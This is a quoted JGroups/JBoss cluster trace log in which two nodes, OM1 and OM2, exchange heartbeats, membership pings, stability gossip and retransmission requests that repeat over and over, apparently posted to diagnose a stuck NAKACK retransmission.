> 2013-08-30 09:49:55,887 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,837 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,837 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#11
> 2013-08-30 09:49:57,837 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (Incoming-8,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:58,523 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 2 total (2 servers (1 coord), 0 clients)
> 2013-08-30 09:49:58,523 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> [OM2:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:59,288 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:59,288 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) Periodic recovery second pass at Fri, 30 Aug 2013 09:50:02
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.transactionInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.resourceInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== INACTIVE
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread backing off
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (Incoming-11,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stable msg [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (1 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
> other:  [OM1:1299#10, OM2:1299#6]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 276 ms) [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,092 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:04,092 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stability msg [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (Timer-5,<ADDR>) sending OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#11, OM2:1299#6]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) received stable digest OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 0 from OM2:1299
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 6 from OM1:1299
> 2013-08-30 09:50:05,902 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:05,902 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:05,902 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [FD] (OOB-20,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (Incoming-13,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:08,897 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:08,897 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (Timer-3,<ADDR>) sending OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:13,702 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:13,702 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:15,917 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#12
> 2013-08-30 09:50:18,320 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:18,507 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:18,507 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:23,312 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:23,312 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 DEBUG [FD] (Timer-5,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:25,932 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,213 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
